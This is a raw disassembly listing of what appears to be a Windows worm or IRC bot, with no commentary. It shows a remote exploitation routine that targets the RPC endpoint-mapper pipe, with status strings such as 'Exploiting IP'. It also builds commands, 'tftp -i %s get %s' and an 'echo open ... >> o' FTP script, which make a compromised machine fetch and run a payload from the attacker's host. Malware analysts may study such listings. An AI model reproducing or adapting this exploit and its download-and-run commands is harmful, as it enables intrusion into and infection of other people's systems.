loc_40D968:				; CODE XREF: sub_40D8F2+28j
					; sub_40D8F2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40DA4F


loc_40D970:				; CODE XREF: sub_40D8F2+64j
					; sub_40D8F2+74j
		mov	al, 1


loc_40D972:				; CODE XREF: sub_40D8F2+39j
		pop	edi
		pop	esi
		retn	8
sub_40D8F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D977	proc near		; CODE XREF: sub_40D340+1Fp
					; sub_40D340+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D9A3
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9A3
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D99C
		cmp	al, 0FFh
		jz	short loc_40D99C
		dec	al
		mov	[ecx], al
		jmp	short loc_40D9A3
; ---------------------------------------------------------------------------


loc_40D99C:				; CODE XREF: sub_40D977+19j
					; sub_40D977+1Dj
		push	ecx
		call	sub_41D65F
		pop	ecx


loc_40D9A3:				; CODE XREF: sub_40D977+8j
					; sub_40D977+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D977	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9B3	proc near		; CODE XREF: ___:0040D6D3p
					; sub_40DB0C+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40D9E1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41CD20
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D9E1:				; CODE XREF: sub_40D9B3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E8	proc near		; CODE XREF: sub_40D824+39p
					; sub_40D824+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D9FB
		call	sub_426173


loc_40D9FB:				; CODE XREF: sub_40D9E8+Cj
		mov	ecx, edi
		call	sub_40DB0C
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40DA11
		mov	ebx, eax


loc_40DA11:				; CODE XREF: sub_40D9E8+25j
		test	ebx, ebx
		jbe	short loc_40DA47
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41D670
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D8F2
		test	al, al
		jz	short loc_40DA47
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40DA47:				; CODE XREF: sub_40D9E8+2Bj
					; sub_40D9E8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D9E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DA4F	proc near		; CODE XREF: sub_40D8F2+79p
		mov	eax, offset loc_426AD0
		call	sub_41D640
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40DA75
		mov	edi, [ebp+8]


loc_40DA75:				; CODE XREF: sub_40DA4F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40DA82
		xor	eax, eax


loc_40DA82:				; CODE XREF: sub_40DA4F+2Fj
		push	eax
		call	sub_41D9A5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40DAB3
; ---------------------------------------------------------------------------


loc_40DA8E:				; DATA XREF: ___:00427F84o
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40DA9D
		xor	eax, eax


loc_40DA9D:				; CODE XREF: sub_40DA4F+4Aj
		push	eax
		call	sub_41D9A5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40DAAD
		retn
; ---------------------------------------------------------------------------


loc_40DAAD:				; DATA XREF: sub_40DA4F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40DAB3:				; CODE XREF: sub_40DA4F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40DAD1
		cmp	eax, edi
		jbe	short loc_40DAC0
		mov	eax, edi


loc_40DAC0:				; CODE XREF: sub_40DA4F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_40DAD1:				; CODE XREF: sub_40DA4F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D977
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40DAF1
		mov	edi, ebx


loc_40DAF1:				; CODE XREF: sub_40DA4F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40DA4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB0C	proc near		; CODE XREF: sub_40D9E8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40DB39
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40DB39
		cmp	al, 0FFh
		jz	short loc_40DB39
		push	1
		call	sub_40D977
		push	esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D9B3


loc_40DB39:				; CODE XREF: sub_40DB0C+9j
					; sub_40DB0C+10j ...
		pop	edi
		pop	esi
		retn
sub_40DB0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB3C	proc near		; DATA XREF: ___:00429008o
		test	byte_4DC018, 1
		jnz	short loc_40DB4C
		or	byte_4DC018, 1


loc_40DB4C:				; CODE XREF: sub_40DB3C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41DA20
		pop	ecx
		retn
sub_40DB3C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB5E	proc near		; CODE XREF: ___:0040DF74p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43DB88
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_4CE6F4
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_4CBA74
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_40DC22
		cmp	eax, ebx
		jnz	short loc_40DC2C


loc_40DC22:				; CODE XREF: sub_40DB5E+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_4CBA74


loc_40DC2C:				; CODE XREF: sub_40DB5E+C2j
		cmp	eax, 5
		jz	short loc_40DC3A
		cmp	eax, ebx
		jz	short loc_40DC3A
		push	1
		pop	eax
		jmp	short loc_40DC3C
; ---------------------------------------------------------------------------


loc_40DC3A:				; CODE XREF: sub_40DB5E+D1j
					; sub_40DB5E+D5j
		xor	eax, eax


loc_40DC3C:				; CODE XREF: sub_40DB5E+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC41	proc near		; CODE XREF: ___:0040DFC6p
					; ___:0040E0A6p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_432948
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_432940
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43DB88
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 26F0000h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_41DA61
		add	esp, 10h


loc_40DCD2:				; CODE XREF: sub_40DC41+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4CB90C
		test	eax, eax
		jz	short loc_40DCF2
		push	7D0h
		nop
		call	near ptr 2670E97h
		jmp	short loc_40DCD2
; ---------------------------------------------------------------------------


loc_40DCF2:				; CODE XREF: sub_40DC41+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_40DC41	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DCF9	proc near		; CODE XREF: ___:0040DFF5p
					; ___:0040E133p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_41C500
		push	esi
		push	edi
		push	offset byte_429108
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_40B22B
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_40DF48
		push	ebx
		mov	ebx, offset off_43285C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_40DD7E:				; CODE XREF: sub_40DCF9+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_40DDCE
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41CD20
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_40DD7E
; ---------------------------------------------------------------------------


loc_40DDCE:				; CODE XREF: sub_40DCF9+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_40DDE9
		cmp	[ebp+arg_C0], 3
		jz	short loc_40DDF2
		cmp	[ebp+arg_C0], 0
		jmp	short loc_40DDF0
; ---------------------------------------------------------------------------


loc_40DDE9:				; CODE XREF: sub_40DCF9+DCj
		cmp	[ebp+arg_C0], 3


loc_40DDF0:				; CODE XREF: sub_40DCF9+EEj
		jnz	short loc_40DDFB


loc_40DDF2:				; CODE XREF: sub_40DCF9+E5j
		push	4
		push	offset dword_43293C
		jmp	short loc_40DE02
; ---------------------------------------------------------------------------


loc_40DDFB:				; CODE XREF: sub_40DCF9:loc_40DDF0j
		push	4
		push	offset dword_432938


loc_40DE02:				; CODE XREF: sub_40DCF9+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_432470
		push	eax
		call	sub_41CD20
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_4327D4
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_41CD20
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_4327E8
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		add	edi, 3Ch
		push	30h
		push	offset dword_432828
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_41CD20
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_41BEB5
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_41BF70
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_41CD20
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_40DF48:				; CODE XREF: sub_40DCF9+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40DCF9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_41C500
		cmp	dword ptr [ebp+0A8h], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_40E0BA
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DB5E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40E1CA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-338h]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp-338h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 27107C1h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DFD1


loc_40DFC2:				; CODE XREF: ___:0040E072j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		pop	ecx
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40DFD1:				; CODE XREF: ___:0040DFC0j
		lea	eax, [ebp+0Ch]
		push	2
		push	eax
		call	sub_4182CD
		pop	ecx
		lea	esi, [ebp+8]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp-8], eax
		jz	short loc_40E069
		mov	edi, 186A0h
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 10h
		lea	eax, [ebp-0Ch]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_432424
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_40E059
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-10h]
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-4]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_40E077


loc_40E059:				; CODE XREF: ___:0040E03Fj
		push	esi
		call	sub_41BA91
		push	dword ptr [ebp-8]
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_40E069:				; CODE XREF: ___:0040E005j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26608D5h
		jmp	loc_40DFC2
; ---------------------------------------------------------------------------


loc_40E077:				; CODE XREF: ___:0040E057j
		lea	eax, [ebp-0Ch]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	dword ptr [ebp-4]
		call	near ptr 26F107Dh
		nop
		push	dword ptr [ebp-8]
		mov	edi, eax
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26608D5h
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DC41
		cmp	edi, 1
		pop	ecx
		jnz	loc_40E1DE
		jmp	loc_40E1CA
; ---------------------------------------------------------------------------


loc_40E0BA:				; CODE XREF: ___:0040DF66j
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_4182CD
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E1CA
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_4CBA54
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_40E1CA
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-24h], 2
		push	dword ptr [ebp+0A8h]
		call	dword_4CB9D4
		mov	[ebp-22h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		mov	[ebp-20h], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	esi
		push	eax
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DCF9
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40E14C
		push	dword ptr [ebp-4]
		jmp	short loc_40E1C4
; ---------------------------------------------------------------------------


loc_40E14C:				; CODE XREF: ___:0040E145j
		mov	edi, [ebp-4]
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E164


loc_40E161:				; CODE XREF: ___:0040E176j
		push	esi
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E164:				; CODE XREF: ___:0040E15Fj
		push	ebx
		push	48h
		push	offset dword_432424
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E161
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-8]
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1A5
		push	dword ptr [ebp-8]
		jmp	short loc_40E1BD
; ---------------------------------------------------------------------------


loc_40E1A5:				; CODE XREF: ___:0040E19Ej
		push	ebx
		lea	eax, [ebp-1338h]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	dword ptr [ebp-8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E1D1


loc_40E1BD:				; CODE XREF: ___:0040E162j
					; ___:0040E1A3j
		call	sub_41BA91
		pop	ecx
		push	edi


loc_40E1C4:				; CODE XREF: ___:0040E14Aj
		call	dword_4CBA6C


loc_40E1CA:				; CODE XREF: ___:0040DF7Dj
					; ___:0040DFCCj ...
		xor	eax, eax
		jmp	loc_40E28D
; ---------------------------------------------------------------------------


loc_40E1D1:				; CODE XREF: ___:0040E1BBj
		call	sub_41BA91
		pop	ecx
		push	edi
		call	dword_4CBA6C


loc_40E1DE:				; CODE XREF: ___:0040E0AFj
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-234h]
		push	offset aTftpFileTransf ; "[TFTP]: File transfer	complete to IP:	%"...
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	esi, esi


loc_40E1F8:				; CODE XREF: ___:0040E218j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415E19
		test	eax, eax
		pop	ecx
		jnz	short loc_40E21C
		push	1388h
		nop
		call	near ptr 2670E97h
		inc	esi
		cmp	esi, 6
		jl	short loc_40E1F8
		jmp	short loc_40E28A
; ---------------------------------------------------------------------------


loc_40E21C:				; CODE XREF: ___:0040E207j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		lea	eax, [ebp-234h]
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+0BCh], ebx
		jnz	short loc_40E268
		push	ebx
		lea	eax, [ebp-234h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		add	esp, 14h


loc_40E268:				; CODE XREF: ___:0040E249j
		lea	eax, [ebp-234h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		pop	ecx
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E28A:				; CODE XREF: ___:0040E21Aj
		push	1
		pop	eax


loc_40E28D:				; CODE XREF: ___:0040E1CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E292	proc near		; CODE XREF: sub_40E3F1+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_C], eax
		mov	ax, word_433290
		push	eax
		call	dword_4CB9D4
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E3CA
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E3CA
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		mov	edi, offset byte_429108
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		mov	esi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 18h
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E3CA
		push	1F4h
		call	near ptr 2670E97h
		nop
		push	edi
		push	offset dword_42A2E8
		lea	eax, [ebp+var_1A0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E3CE


loc_40E3CA:				; CODE XREF: sub_40E292+51j
					; sub_40E292+67j ...
		xor	al, al
		jmp	short loc_40E3EC
; ---------------------------------------------------------------------------


loc_40E3CE:				; CODE XREF: sub_40E292+136j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	ebx
		call	dword_4CBA6C
		mov	al, 1


loc_40E3EC:				; CODE XREF: sub_40E292+13Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E292	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E3F1	proc near		; CODE XREF: ___:0040E946p
					; ___:0040E968p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


